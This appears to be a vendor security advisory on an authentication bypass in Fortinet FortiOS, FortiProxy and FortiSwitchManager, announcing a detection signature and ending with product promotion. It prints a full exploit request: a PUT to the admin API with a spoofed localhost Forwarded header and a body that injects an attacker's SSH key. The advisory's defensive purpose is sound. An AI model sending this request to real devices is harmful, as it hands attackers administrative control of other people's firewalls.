Application / Appliance Details
FortiOS is the Fortinet’s proprietary Operation System which is utilized across multiple product lines. FortiProxy is a secure web proxy that protects employees against internet-borne attacks by incorporating multiple detection techniques. FortiSwitch Manager is an on-premise management platform for the FortiSwitch product.
Vulnerability
Fortinet FortiOS, FortiProxy and FortiSwitchManager could allow a remote attacker to bypass security restrictions using an alternate path or channel vulnerability.
Identification
By sending specially crafted HTTP or HTTPS requests, an attacker could exploit this vulnerability to log into unpatched devices and perform operations on the administrative interface.
PUT /api/v2/cmdb/system/admin/adminUser-Agent: Report Runner
Content-Type: application/json
Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000";
{ "ssh-public-key1": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local" }Detection
By turning this into a traffic file and matching rule, we are able to detect unauthenticated attempts to bypass security.
Coverage
Idappcom has created signature 8023189 along with a traffic file for this vulnerability.
References
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability, or others, why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional